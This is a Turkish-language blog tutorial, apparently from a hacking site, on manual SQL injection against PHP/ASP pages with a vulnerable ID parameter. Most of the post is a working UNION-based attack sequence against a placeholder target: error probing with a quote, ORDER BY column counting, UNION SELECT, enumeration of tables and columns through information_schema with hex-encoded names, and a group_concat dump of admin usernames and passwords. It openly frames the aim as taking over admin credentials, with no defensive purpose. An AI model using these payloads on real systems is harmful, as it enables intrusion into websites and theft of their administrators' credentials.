Manuel SQL Injection | En Basit Anlatım

Manuel SQL Injection | En Basit Anlatım


Sql İnjection Çoğu Zaman Script Kodlamalarında Yanlış Kodlama Sonucunda Oluşan Güvenlik Açığıdır, Bu Açık Sayesinde Admin Bilgilerini Ele Geçirebiliriz.

DİPNOT: Yanlış Kodlama Php ve Asp Sistemlerde ID Değerinde Oluşur.

SQL AÇIĞI MANUEL NASIL BULUNUR?



Hedef Sitemiz ;

Php-Kodu: 

http://www.hedefite.org/show.php?id=4 

 

Açık Olup Olmadığını Kontrol Etme ;

Php-Kodu:

http://www.hedefsite.org/show.php?id=4' 

MySql Injection Hatası Almak İçin ID Değerinin Önüne Tırnak İşareti [****] Koyuyoruz.


Tırnağı Koyup Linke Gittikten Sonra ;

-Başka bir veri ekrana dökülebilir, örneğin ekrandaki bir resimse, başka bir resim, yazıysa başka bir yazı görüntülenebilir.

-Direk Mysql Injection Hatası Alınabilir, Beyaz Bir Ekran ve Orada Mysql injection Kodlarının Oluşturduğu Bir Hata Görüntüsü Alırsınız.

-Direk Sayfa İçinde Herhangi Bir Kısımda Hata Alabilirsiniz.

Hatayı Aldık Varsayalım ve Devam Edelim.


Sitedeki Kolon Sayısını Öğrenme ;

Php-Kodu:

http:///www.hedefsite.org/show.php?id=4 order by 1

Order By Komutunun Yanındaki "1" Sayısını Hata Alana Kadar Artırıyoruz, 20, 30'a Kadar Devam Eden Kolon Sayıları Vardır, Yılmayın. 😇


 ÖRNEK ;

Php-Kodu: 

http://www.hedefsite.org/show.php?id=4 order by 2 

Php-Kodu: 

http://www.hedefsite.org/show.php?id=4 order by 3

Php-Kodu: 
 http://www.hedefsite.org/show.php?id=4 order by 10 Gibi...


Hata Kendini Sonunda Belli Eder Zaten, Görürsünüz Evet Bu Hata Dersiniz. Çünkü Artırdığınızda Hep Aynı Şeyler Görülür, Taa ki Hata Alana Kadar.

Onuncu Kolonu Yazdığımızda, Hata Aldığımız Varsayıyorum, Demek ki Kolon Sayımız 9.

Union Select ile Tables Bilgilerine Ulaşmak ;

Sıra "Union Select ..." Komutuna Geldi, Bu Komutu Öncelikle İşimize Yarayacak Kolon Numaralarını Bulmak İçin Kullanmalıyız.

KULLANIMI ;

Php-Kodu: 

http://www.hedefsite.org/show.php?id=-4 union select 1,2,3,4,5,6,7,8,9

Bu şekilde Komutumuzu Gireceğiz

 

Küçük Bir İpucu, ID Değerinin Önüne Benim Koyduğum Gibi Tire [-] Koymayı Sakın Unutmayın, Aksi Halde Veri Dökülmeyebilir.

Kolonlarımız Ekrana Vuruldu, Ben 1 ve 3 Vurulsun İstiyorum. Nasılsa Benim Anlatımım

Bu Kolon Sayıları Bizim İşlemi Yapmamızda Ana Etmen. Bütün Verileri Bu Kolonlardan Alacağız Çünkü.

Version Nasıl Öğrenilir ;

Version Almak İçin Elimizdeki Ekrana Vurulmuş Kolon Sayılarından Herhangi Birini Kullanabiliriz. Aşağıda Sizlere Gösterdiğim Şekilde Yapmalısınız.

Php-Kodu: 

http://www.hedefsite.org/show.php?id=-4 union select 1,2,3,4,5,6,7,8,9

 

Ben 3 numaralı kolon'u kullanmak İstiyorum , O Halde 3 Yerine "version()" komutunu yazıyoruz.

Php-Kodu:

http://www.hedefsite.org/show.php?id=-4 union select 1,2,version(),4,5,6,7,8,9

 

Enter'a Tıkladığımızda, Ekrana Vurulan 3 Sayısı Version'un kaç Olduğunu Gösterir Bize, Çoğu Zaman Version 5 Olur.


Tablo Adı Nasıl Öğrenilir ;

Tablo alma işlemini yapmak için 3 yerine "Table_name" ve sayıların sonuna, "from information_schema.tables" komutunu yazıyoruz.

Php-Kodu: 

http://www.hedefsite.org/show.php?id=-4 union select 1,2,table_name,4,5,6,7,8,9 from information_schema.tables

Çoğu Zaman İlk Kolon Adı CHARACTER_SETS'tir. Diğer Kolon Adları Çoğu Zaman Görünmez, Göstermek İçin Komutların Sonuna "Limit 1,1" Komutu Ekliyoruz.

Php-Kodu: 

http://www.hedefsite.org/show.php?id=-4 union select 1,2,table_name,4,5,6,7,8,9 from information_schema.tables limit 1,1

Limit 1,1 komutunu artırarak işimize yarayan tablo adlarını bulabiliriz.

Artırmak için limit'in önündeki 1 rakamını artırabiliriz.


İşimize Yarayacak Tablo İsimleri Neler Olabilir?

Admin, Users, User, Admins, Yonetici, Ayarlar, Config, Yonetim, Login, Logins etc. Ben Admin Olduğunu Varsayıyorum,

Şimdi Bu Admin'in Kolon Adlarını Bulmak İçin Hex'lememiz Gerekiyor, Hex İşlemini Yapan Siteleri Googleden Bulabilirsiniz

Admin'in Hexlenmiş Hali ; 

Php-Kodu: 

61646d696e Şimdi Admin Tablosu Adı Altındaki Kolonları Çekebiliriz.

 

Kolon Adlarını Nasıl Çekeceğiz?

Kolon adlarını çekmek için tekrardan 3 kolununu kullanacağım.

Php-Kodu: 

Http://Www.hedefSite.Org/Show.php?id=-4 union select 1,2,column_name,4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e

 

Yani, Table ve Tables Değerlerini Column ve Columns ile Değiştireceğiz ve En Sona Limit 1,1 Komutunu Silere where table_name=0xHex'imizi yazacağız.

Hex'lenmiş Tablo Adının Önüne 0x Koymayı Sakın Unutmayın.

İlk Kolon Adımız Geldi . "ID" Olduğunu Varsayalım, Bu Bizim İşimize Yaramaz, Komutların Sonuna "Limit 1 Offset 1" Komutunu Yazarak ve Offset'i Artırarak İşimize Yarayacak Kolon Adlarını Bulabiliriz. 

İşimize Yarayacak Kolon İsimleri Neler Olabilir?

Username,password,Admin,Pass

Kolon adlarınıda buldugumuza göre tek işimiz kaldı oda kolonlardan veri çekmek

Kolonlardan Veri Nasıl Çekilir?

Verimizi Çekmek İçin İşimize Yarayan Kolon Numaralarına, Yani 1 ve 3'e "group_concat(KolonAdı)" komutunu yazacağız.

Php-Kodu:

http://www.hedefsite.org/show.php?id=-4 union select group_concat(Kolon Adı),2,group_concat(Kolon Adı),4,5,6,7,8,9 from (Tablo Adı)

Tablo Adı Örnek :

Php-Kodu: 

http://www.hedefsite.org/show.php?id=-4 union select group_concat(Username),2,group_concat(Password),4, 5,6,7,8,9 from Admin  

Bu şekilde yaptığımız takdirde tüm admin bilgileri önümüze düşecektir.

 

Konu Hakkında Sorularınız Olursa Yorumlarda Belirtin Sizlere Yardımcı Olmaya Çalışırım.

1 Comments

  1. I am very interested in the information contained in this post. The information contained in this post inspired me to generate research ideas. Jurnal Teknik
    Unimuda Sorong

    ReplyDelete

Post a Comment

Post a Comment

Previous Post Next Post

Oyun Hileleri Hack Haber Shell İndir